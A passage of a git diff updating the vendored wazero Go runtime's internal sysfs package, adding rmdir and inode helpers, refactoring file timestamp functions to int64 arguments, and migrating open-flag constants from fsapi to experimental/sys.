+func requireOpenFile(t *testing.T, path string, flag experimentalsys.Oflag, perm fs.FileMode) experimentalsys.File {
f, errno := OpenOSFile(path, flag, perm)
require.EqualErrno(t, 0, errno)
return f
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go
index 4ed51a9fe9..f56439e081 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go
@@ -13,6 +13,11 @@ const (
nonBlockingFileWriteSupported = true
)
+func rmdir(path string) sys.Errno {
+ err := syscall.Rmdir(path)
+ return sys.UnwrapOSError(err)
+}
+
// readFd exposes syscall.Read.
func readFd(fd uintptr, buf []byte) (int, sys.Errno) {
if len(buf) == 0 {
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go
index eb8b5537fc..54e224bbf9 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go
@@ -2,13 +2,21 @@
package sysfs
-import "github.com/tetratelabs/wazero/experimental/sys"
+import (
+ "os"
+
+ "github.com/tetratelabs/wazero/experimental/sys"
+)
const (
nonBlockingFileReadSupported = false
nonBlockingFileWriteSupported = false
)
+func rmdir(path string) sys.Errno {
+ return sys.UnwrapOSError(os.Remove(path))
+}
+
// readFd returns ENOSYS on unsupported platforms.
func readFd(fd uintptr, buf []byte) (int, sys.Errno) {
return -1, sys.ENOSYS
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go
index c07d2b92a1..3ad9648e65 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go
@@ -81,3 +81,8 @@ func peekNamedPipe(handle syscall.Handle) (uint32, syscall.Errno) {
0) // [out, optional] LPDWORD lpBytesLeftThisMessage
return totalBytesAvail, errno
}
+
+func rmdir(path string) sys.Errno {
+ err := syscall.Rmdir(path)
+ return sys.UnwrapOSError(err)
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go
index 9144126b61..1f670ca116 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go
@@ -1,53 +1,14 @@
+//go:build linux || darwin
+
package sysfs
import (
"syscall"
- "time"
"unsafe"
- experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/sys"
+ "github.com/tetratelabs/wazero/experimental/sys"
)
-const (
- // UTIME_NOW is a special syscall.Timespec NSec value used to set the
- // file's timestamp to a value close to, but not greater than the current
- // system time.
- UTIME_NOW = _UTIME_NOW
-
- // UTIME_OMIT is a special syscall.Timespec NSec value used to avoid
- // setting the file's timestamp.
- UTIME_OMIT = _UTIME_OMIT
-)
-
-// Utimens set file access and modification times on a path resolved to the
-// current working directory, at nanosecond precision.
-//
-// # Parameters
-//
-// The `times` parameter includes the access and modification timestamps to
-// assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT may be
-// specified instead of real timestamps. A nil `times` parameter behaves the
-// same as if both were set to UTIME_NOW. If the path is a symbolic link, the
-// target of expanding that link is updated.
-//
-// # Errors
-//
-// A zero sys.Errno is success. The below are expected otherwise:
-// - sys.ENOSYS: the implementation does not support this function.
-// - sys.EINVAL: `path` is invalid.
-// - sys.EEXIST: `path` exists and is a directory.
-// - sys.ENOTDIR: `path` exists and is a file.
-//
-// # Notes
-//
-// - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in
-// POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html
-func Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno {
- err := utimens(path, times)
- return experimentalsys.UnwrapOSError(err)
-}
-
func timesToPtr(times *[2]syscall.Timespec) unsafe.Pointer { //nolint:unused
if times != nil {
return unsafe.Pointer(×[0])
@@ -55,67 +16,22 @@ func timesToPtr(times *[2]syscall.Timespec) unsafe.Pointer { //nolint:unused
return unsafe.Pointer(nil)
}
-func utimensPortable(path string, times *[2]syscall.Timespec) error { //nolint:unused
- // Handle when both inputs are current system time.
- if times == nil || times[0].Nsec == UTIME_NOW && times[1].Nsec == UTIME_NOW {
- ts := nowTimespec()
- return syscall.UtimesNano(path, []syscall.Timespec{ts, ts})
- }
-
+func timesToTimespecs(atim int64, mtim int64) (times *[2]syscall.Timespec) {
// When both inputs are omitted, there is nothing to change.
- if times[0].Nsec == UTIME_OMIT && times[1].Nsec == UTIME_OMIT {
- return nil
- }
-
- // Handle when neither input are special values
- if times[0].Nsec != UTIME_NOW && times[1].Nsec != UTIME_NOW &&
- times[0].Nsec != UTIME_OMIT && times[1].Nsec != UTIME_OMIT {
- return syscall.UtimesNano(path, times[:])
+ if atim == sys.UTIME_OMIT && mtim == sys.UTIME_OMIT {
+ return
}
- // Now, either atim or mtim is a special value, but not both.
-
- // Now, either one of the inputs is a special value, or neither. This means
- // we don't have a risk of re-reading the clock or re-doing stat.
- if atim, err := normalizeTimespec(path, times, 0); err != 0 {
- return err
- } else if mtim, err := normalizeTimespec(path, times, 1); err != 0 {
- return err
+ times = &[2]syscall.Timespec{}
+ if atim == sys.UTIME_OMIT {
+ times[0] = syscall.Timespec{Nsec: _UTIME_OMIT}
+ times[1] = syscall.NsecToTimespec(mtim)
+ } else if mtim == sys.UTIME_OMIT {
+ times[0] = syscall.NsecToTimespec(atim)
+ times[1] = syscall.Timespec{Nsec: _UTIME_OMIT}
} else {
- return syscall.UtimesNano(path, []syscall.Timespec{atim, mtim})
- }
-}
-
-func normalizeTimespec(path string, times *[2]syscall.Timespec, i int) (ts syscall.Timespec, err experimentalsys.Errno) { //nolint:unused
- switch times[i].Nsec {
- case UTIME_NOW: // declined in Go per golang/go#31880.
- ts = nowTimespec()
- return
- case UTIME_OMIT:
- // UTIME_OMIT is expensive until progress is made in Go, as it requires a
- // stat to read-back the value to re-apply.
- // - https://github.com/golang/go/issues/32558.
- // - https://go-review.googlesource.com/c/go/+/219638 (unmerged)
- var st sys.Stat_t
- if st, err = stat(path); err != 0 {
- return
- }
- switch i {
- case 0:
- ts = syscall.NsecToTimespec(st.Atim)
- case 1:
- ts = syscall.NsecToTimespec(st.Mtim)
- default:
- panic("BUG")
- }
- return
- default: // not special
- ts = times[i]
- return
+ times[0] = syscall.NsecToTimespec(atim)
+ times[1] = syscall.NsecToTimespec(mtim)
}
-}
-
-func nowTimespec() syscall.Timespec { //nolint:unused
- now := time.Now().UnixNano()
- return syscall.NsecToTimespec(now)
+ return
}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go
index a5663ede3c..88e4008f0a 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go
@@ -2,13 +2,14 @@ package sysfs
import (
"syscall"
- _ "unsafe" // for go:linkname
+ _ "unsafe"
+
+ experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
)
const (
_AT_FDCWD = -0x2
_AT_SYMLINK_NOFOLLOW = 0x0020
- _UTIME_NOW = -1
_UTIME_OMIT = -2
)
@@ -16,20 +17,25 @@ const (
//go:linkname utimensat syscall.utimensat
func utimensat(dirfd int, path string, times *[2]syscall.Timespec, flags int) error
-func utimens(path string, times *[2]syscall.Timespec) error {
+func utimens(path string, atim, mtim int64) experimentalsys.Errno {
+ times := timesToTimespecs(atim, mtim)
+ if times == nil {
+ return 0
+ }
var flags int
- return utimensat(_AT_FDCWD, path, times, flags)
+ return experimentalsys.UnwrapOSError(utimensat(_AT_FDCWD, path, times, flags))
}
-func futimens(fd uintptr, times *[2]syscall.Timespec) error {
+func futimens(fd uintptr, atim, mtim int64) experimentalsys.Errno {
+ times := timesToTimespecs(atim, mtim)
+ if times == nil {
+ return 0
+ }
_p0 := timesToPtr(times)
// Warning: futimens only exists since High Sierra (10.13).
_, _, e1 := syscall_syscall6(libc_futimens_trampoline_addr, fd, uintptr(_p0), 0, 0, 0, 0)
- if e1 != 0 {
- return e1
- }
- return nil
+ return experimentalsys.UnwrapOSError(e1)
}
// libc_futimens_trampoline_addr is the address of the
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go
index 5008ca8140..3ec68537be 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go
@@ -3,28 +3,38 @@ package sysfs
import (
"syscall"
"unsafe"
- _ "unsafe" // for go:linkname
+ _ "unsafe"
+
+ experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
)
const (
_AT_FDCWD = -0x64
- _UTIME_NOW = (1 << 30) - 1
_UTIME_OMIT = (1 << 30) - 2
)
-func utimens(path string, times *[2]syscall.Timespec) (err error) {
+func utimens(path string, atim, mtim int64) experimentalsys.Errno {
+ times := timesToTimespecs(atim, mtim)
+ if times == nil {
+ return 0
+ }
+
var flags int
var _p0 *byte
- _p0, err = syscall.BytePtrFromString(path)
- if err != nil {
- return
+ _p0, err := syscall.BytePtrFromString(path)
+ if err == nil {
+ err = utimensat(_AT_FDCWD, uintptr(unsafe.Pointer(_p0)), times, flags)
}
- return utimensat(_AT_FDCWD, uintptr(unsafe.Pointer(_p0)), times, flags)
+ return experimentalsys.UnwrapOSError(err)
}
// On linux, implement futimens via utimensat with the NUL path.
-func futimens(fd uintptr, times *[2]syscall.Timespec) error {
- return utimensat(int(fd), 0 /* NUL */, times, 0)
+func futimens(fd uintptr, atim, mtim int64) experimentalsys.Errno {
+ times := timesToTimespecs(atim, mtim)
+ if times == nil {
+ return 0
+ }
+ return experimentalsys.UnwrapOSError(utimensat(int(fd), 0 /* NUL */, times, 0))
}
// utimensat is like syscall.utimensat special-cased to accept a NUL string for the path value.
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go
index 2816cb84ee..c78a16b407 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go
@@ -3,22 +3,14 @@
package sysfs
import (
- "syscall"
-
"github.com/tetratelabs/wazero/experimental/sys"
)
-// Define values even if not used except as sentinels.
-const (
- _UTIME_NOW = -1
- _UTIME_OMIT = -2
-)
-
-func utimens(path string, times *[2]syscall.Timespec) error {
- return utimensPortable(path, times)
+func utimens(path string, atim, mtim int64) sys.Errno {
+ return chtimes(path, atim, mtim)
}
-func futimens(fd uintptr, times *[2]syscall.Timespec) error {
+func futimens(fd uintptr, atim, mtim int64) error {
// Go exports syscall.Futimes, which is microsecond granularity, and
// WASI tests expect nanosecond. We don't yet have a way to invoke the
// futimens syscall portably.
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go
index 26d9c2a425..3a5289b70b 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go
@@ -2,24 +2,16 @@ package sysfs
import (
"syscall"
- "time"
"github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/platform"
)
-// Define values even if not used except as sentinels.
-const (
- _UTIME_NOW = -1
- _UTIME_OMIT = -2
- SupportsSymlinkNoFollow = false
-)
-
-func utimens(path string, times *[2]syscall.Timespec) error {
- return utimensPortable(path, times)
+func utimens(path string, atim, mtim int64) sys.Errno {
+ return chtimes(path, atim, mtim)
}
-func futimens(fd uintptr, times *[2]syscall.Timespec) error {
+func futimens(fd uintptr, atim, mtim int64) error {
// Before Go 1.20, ERROR_INVALID_HANDLE was returned for too many reasons.
// Kick out so that callers can use path-based operations instead.
if !platform.IsAtLeastGo120 {
@@ -27,9 +19,9 @@ func futimens(fd uintptr, times *[2]syscall.Timespec) error {
}
// Per docs, zero isn't a valid timestamp as it cannot be differentiated
- // from nil. In both cases, it is a marker like syscall.UTIME_OMIT.
+ // from nil. In both cases, it is a marker like sys.UTIME_OMIT.
// See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-setfiletime
- a, w := timespecToFiletime(times)
+ a, w := timespecToFiletime(atim, mtim)
if a == nil && w == nil {
return nil // both omitted, so nothing to change
@@ -42,32 +34,16 @@ func futimens(fd uintptr, times *[2]syscall.Timespec) error {
return syscall.SetFileTime(h, nil, a, w)
}
-func timespecToFiletime(times *[2]syscall.Timespec) (a, w *syscall.Filetime) {
- // Handle when both inputs are current system time.
- if times == nil || times[0].Nsec == UTIME_NOW && times[1].Nsec == UTIME_NOW {
- now := time.Now().UnixNano()
- ft := syscall.NsecToFiletime(now)
- return &ft, &ft
- }
-
- // Now, either one of the inputs is current time, or neither. This
- // means we don't have a risk of re-reading the clock.
- a = timespecToFileTime(times, 0)
- w = timespecToFileTime(times, 1)
+func timespecToFiletime(atim, mtim int64) (a, w *syscall.Filetime) {
+ a = timespecToFileTime(atim)
+ w = timespecToFileTime(mtim)
return
}
-func timespecToFileTime(times *[2]syscall.Timespec, i int) *syscall.Filetime {
- if times[i].Nsec == UTIME_OMIT {
+func timespecToFileTime(tim int64) *syscall.Filetime {
+ if tim == sys.UTIME_OMIT {
return nil
}
-
- var nsec int64
- if times[i].Nsec == UTIME_NOW {
- nsec = time.Now().UnixNano()
- } else {
- nsec = syscall.TimespecToNsec(times[i])
- }
- ft := syscall.NsecToFiletime(nsec)
+ ft := syscall.NsecToFiletime(tim)
return &ft
}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go
new file mode 100644
index 0000000000..703f113660
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go
@@ -0,0 +1,22 @@
+//go:build !windows && !plan9
+
+package sysfs
+
+import (
+ "io/fs"
+ "syscall"
+
+ experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
+ "github.com/tetratelabs/wazero/sys"
+)
+
+func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) {
+ switch v := info.Sys().(type) {
+ case *sys.Stat_t:
+ return v.Ino, 0
+ case *syscall.Stat_t:
+ return v.Ino, 0
+ default:
+ return 0, 0
+ }
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go
new file mode 100644
index 0000000000..9c669a475c
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go
@@ -0,0 +1,15 @@
+package sysfs
+
+import (
+ "io/fs"
+
+ experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
+ "github.com/tetratelabs/wazero/sys"
+)
+
+func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) {
+ if v, ok := info.Sys().(*sys.Stat_t); ok {
+ return v.Ino, 0
+ }
+ return 0, 0
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_windows.go
new file mode 100644
index 0000000000..d163b3601e
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_windows.go
@@ -0,0 +1,28 @@
+package sysfs
+
+import (
+ "io/fs"
+ "path"
+
+ experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
+ "github.com/tetratelabs/wazero/sys"
+)
+
+// inoFromFileInfo uses stat to get the inode information of the file.
+func inoFromFileInfo(dirPath string, info fs.FileInfo) (ino sys.Inode, errno experimentalsys.Errno) {
+ if v, ok := info.Sys().(*sys.Stat_t); ok {
+ return v.Ino, 0
+ }
+ if dirPath == "" {
+ // This is a FS.File backed implementation which doesn't have access to
+ // the original file path.
+ return
+ }
+ // Ino is no not in Win32FileAttributeData
+ inoPath := path.Clean(path.Join(dirPath, info.Name()))
+ var st sys.Stat_t
+ if st, errno = lstat(inoPath); errno == 0 {
+ ino = st.Ino
+ }
+ return
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_plan9.go
new file mode 100644
index 0000000000..8e94e5922f
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_plan9.go
@@ -0,0 +1,11 @@
+package sysfs
+
+import "github.com/tetratelabs/wazero/experimental/sys"
+
+func setNonblock(fd uintptr, enable bool) sys.Errno {
+ return sys.ENOSYS
+}
+
+func isNonblock(f *osFile) bool {
+ return false
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go
index fdee885aa3..07fb15cf12 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go
@@ -1,17 +1,17 @@
-//go:build !windows
+//go:build !windows && !plan9
package sysfs
import (
"syscall"
- "github.com/tetratelabs/wazero/internal/fsapi"
+ "github.com/tetratelabs/wazero/experimental/sys"
)
-func setNonblock(fd uintptr, enable bool) error {
- return syscall.SetNonblock(int(fd), enable)
+func setNonblock(fd uintptr, enable bool) sys.Errno {
+ return sys.UnwrapOSError(syscall.SetNonblock(int(fd), enable))
}
func isNonblock(f *osFile) bool {
- return f.flag&fsapi.O_NONBLOCK == fsapi.O_NONBLOCK
+ return f.flag&sys.O_NONBLOCK == sys.O_NONBLOCK
}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go
index 3acbf2721f..eb38ea5afa 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go
@@ -1,17 +1,15 @@
-//go:build windows
-
package sysfs
import (
"io/fs"
"syscall"
- "github.com/tetratelabs/wazero/internal/fsapi"
+ "github.com/tetratelabs/wazero/experimental/sys"
)
-func setNonblock(fd uintptr, enable bool) error {
+func setNonblock(fd uintptr, enable bool) sys.Errno {
// We invoke the syscall, but this is currently no-op.
- return syscall.SetNonblock(syscall.Handle(fd), enable)
+ return sys.UnwrapOSError(syscall.SetNonblock(syscall.Handle(fd), enable))
}
func isNonblock(f *osFile) bool {
@@ -21,5 +19,5 @@ func isNonblock(f *osFile) bool {
if errno == 0 {
isValid = st.Mode&fs.ModeNamedPipe != 0
}
- return isValid && f.flag&fsapi.O_NONBLOCK == fsapi.O_NONBLOCK
+ return isValid && f.flag&sys.O_NONBLOCK == sys.O_NONBLOCK
}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go
index e6c3b06c28..be6d2c35f6 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go
@@ -3,35 +3,35 @@ package sysfs
import (
"os"
- "github.com/tetratelabs/wazero/internal/fsapi"
+ "github.com/tetratelabs/wazero/experimental/sys"
)
// toOsOpenFlag converts the input to the flag parameter of os.OpenFile
-func toOsOpenFlag(oflag fsapi.Oflag) (flag int) {
+func toOsOpenFlag(oflag sys.Oflag) (flag int) {
// First flags are exclusive
- switch oflag & (fsapi.O_RDONLY | fsapi.O_RDWR | fsapi.O_WRONLY) {
- case fsapi.O_RDONLY:
+ switch oflag & (sys.O_RDONLY | sys.O_RDWR | sys.O_WRONLY) {
+ case sys.O_RDONLY:
flag |= os.O_RDONLY
- case fsapi.O_RDWR:
+ case sys.O_RDWR:
flag |= os.O_RDWR
- case fsapi.O_WRONLY:
+ case sys.O_WRONLY:
flag |= os.O_WRONLY
}
// Run down the flags defined in the os package
- if oflag&fsapi.O_APPEND != 0 {
+ if oflag&sys.O_APPEND != 0 {
flag |= os.O_APPEND
}
- if oflag&fsapi.O_CREAT != 0 {
+ if oflag&sys.O_CREAT != 0 {
flag |= os.O_CREATE
}
- if oflag&fsapi.O_EXCL != 0 {
+ if oflag&sys.O_EXCL != 0 {
flag |= os.O_EXCL
}
- if oflag&fsapi.O_SYNC != 0 {
+ if oflag&sys.O_SYNC != 0 {
flag |= os.O_SYNC
}
- if oflag&fsapi.O_TRUNC != 0 {
+ if oflag&sys.O_TRUNC != 0 {
flag |= os.O_TRUNC
}
return withSyscallOflag(oflag, flag)
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go
index 82275393b5..a4f54ca2cc 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go
@@ -3,22 +3,22 @@ package sysfs
import (
"syscall"
- "github.com/tetratelabs/wazero/internal/fsapi"
+ "github.com/tetratelabs/wazero/experimental/sys"
)
-const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_DSYNC | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK
+const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK
-func withSyscallOflag(oflag fsapi.Oflag, flag int) int {
- if oflag&fsapi.O_DIRECTORY != 0 {
+func withSyscallOflag(oflag sys.Oflag, flag int) int {
+ if oflag&sys.O_DIRECTORY != 0 {
flag |= syscall.O_DIRECTORY
}
- if oflag&fsapi.O_DSYNC != 0 {
+ if oflag&sys.O_DSYNC != 0 {
flag |= syscall.O_DSYNC
}
- if oflag&fsapi.O_NOFOLLOW != 0 {
+ if oflag&sys.O_NOFOLLOW != 0 {
flag |= syscall.O_NOFOLLOW
}
- if oflag&fsapi.O_NONBLOCK != 0 {
+ if oflag&sys.O_NONBLOCK != 0 {
flag |= syscall.O_NONBLOCK
}
// syscall.O_RSYNC not defined on darwin
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go
index e91da95dfa..42adaa2140 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go
@@ -3,20 +3,20 @@ package sysfs
import (
"syscall"
- "github.com/tetratelabs/wazero/internal/fsapi"
+ "github.com/tetratelabs/wazero/experimental/sys"
)
-const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK
+const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_NOFOLLOW | sys.O_NONBLOCK
-func withSyscallOflag(oflag fsapi.Oflag, flag int) int {
- if oflag&fsapi.O_DIRECTORY != 0 {
+func withSyscallOflag(oflag sys.Oflag, flag int) int {
+ if oflag&sys.O_DIRECTORY != 0 {
flag |= syscall.O_DIRECTORY
}
// syscall.O_DSYNC not defined on darwin
- if oflag&fsapi.O_NOFOLLOW != 0 {
+ if oflag&sys.O_NOFOLLOW != 0 {
flag |= syscall.O_NOFOLLOW
}
- if oflag&fsapi.O_NONBLOCK != 0 {
+ if oflag&sys.O_NONBLOCK != 0 {
flag |= syscall.O_NONBLOCK
}
// syscall.O_RSYNC not defined on darwin
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go
index bfa9a23e19..7f4915480c 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go
@@ -3,25 +3,25 @@ package sysfs
import (
"syscall"
- "github.com/tetratelabs/wazero/internal/fsapi"
+ "github.com/tetratelabs/wazero/experimental/sys"
)
-const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_DSYNC | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK | fsapi.O_RSYNC
+const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK | sys.O_RSYNC
-func withSyscallOflag(oflag fsapi.Oflag, flag int) int {
- if oflag&fsapi.O_DIRECTORY != 0 {
+func withSyscallOflag(oflag sys.Oflag, flag int) int {
+ if oflag&sys.O_DIRECTORY != 0 {
flag |= syscall.O_DIRECTORY
}
- if oflag&fsapi.O_DSYNC != 0 {
+ if oflag&sys.O_DSYNC != 0 {
flag |= syscall.O_DSYNC
}
- if oflag&fsapi.O_NOFOLLOW != 0 {
+ if oflag&sys.O_NOFOLLOW != 0 {
flag |= syscall.O_NOFOLLOW
}
- if oflag&fsapi.O_NONBLOCK != 0 {
+ if oflag&sys.O_NONBLOCK != 0 {
flag |= syscall.O_NONBLOCK
}
- if oflag&fsapi.O_RSYNC != 0 {
+ if oflag&sys.O_RSYNC != 0 {
flag |= syscall.O_RSYNC
}
return flag
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go
index 4e886fb550..9ae1e2bcdb 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go
@@ -7,14 +7,13 @@ import (
"os"
"github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/internal/fsapi"
)
-// openFile is like os.OpenFile except it accepts a fsapi.Oflag and returns
+// openFile is like os.OpenFile except it accepts a sys.Oflag and returns
// sys.Errno. A zero sys.Errno is success.
-func openFile(path string, oflag fsapi.Oflag, perm fs.FileMode) (*os.File, sys.Errno) {
+func openFile(path string, oflag sys.Oflag, perm fs.FileMode) (*os.File, sys.Errno) {
f, err := os.OpenFile(path, toOsOpenFlag(oflag), perm)
- // Note: This does not return a fsapi.File because fsapi.FS that returns
+ // Note: This does not return a sys.File because sys.FS that returns
// one may want to hide the real OS path. For example, this is needed for
// pre-opens.
return f, sys.UnwrapOSError(err)
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go
index 6589ddac3f..bdf7dd84d2 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go
@@ -5,26 +5,26 @@ package sysfs
import (
"syscall"
- "github.com/tetratelabs/wazero/internal/fsapi"
+ "github.com/tetratelabs/wazero/experimental/sys"
)
-const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_DSYNC | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK | fsapi.O_RSYNC
+const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK | sys.O_RSYNC
-func withSyscallOflag(oflag fsapi.Oflag, flag int) int {
- if oflag&fsapi.O_DIRECTORY != 0 {
+func withSyscallOflag(oflag sys.Oflag, flag int) int {
+ if oflag&sys.O_DIRECTORY != 0 {
// See https://github.com/illumos/illumos-gate/blob/edd580643f2cf1434e252cd7779e83182ea84945/usr/src/uts/common/sys/fcntl.h#L90
flag |= 0x1000000
}
- if oflag&fsapi.O_DSYNC != 0 {
+ if oflag&sys.O_DSYNC != 0 {
flag |= syscall.O_DSYNC
}
- if oflag&fsapi.O_NOFOLLOW != 0 {
+ if oflag&sys.O_NOFOLLOW != 0 {
flag |= syscall.O_NOFOLLOW
}
- if oflag&fsapi.O_NONBLOCK != 0 {
+ if oflag&sys.O_NONBLOCK != 0 {
flag |= syscall.O_NONBLOCK
}
- if oflag&fsapi.O_RSYNC != 0 {
+ if oflag&sys.O_RSYNC != 0 {
flag |= syscall.O_RSYNC
}
return flag
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go
index 9b925949aa..9f7a6d0885 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go
@@ -2,11 +2,13 @@
package sysfs
-import "github.com/tetratelabs/wazero/internal/fsapi"
+import (
+ "github.com/tetratelabs/wazero/experimental/sys"
+)
-const supportedSyscallOflag = fsapi.Oflag(0)
+const supportedSyscallOflag = sys.Oflag(0)
-func withSyscallOflag(oflag fsapi.Oflag, flag int) int {
+func withSyscallOflag(oflag sys.Oflag, flag int) int {
// O_DIRECTORY not defined
// O_DSYNC not defined
// O_NOFOLLOW not defined
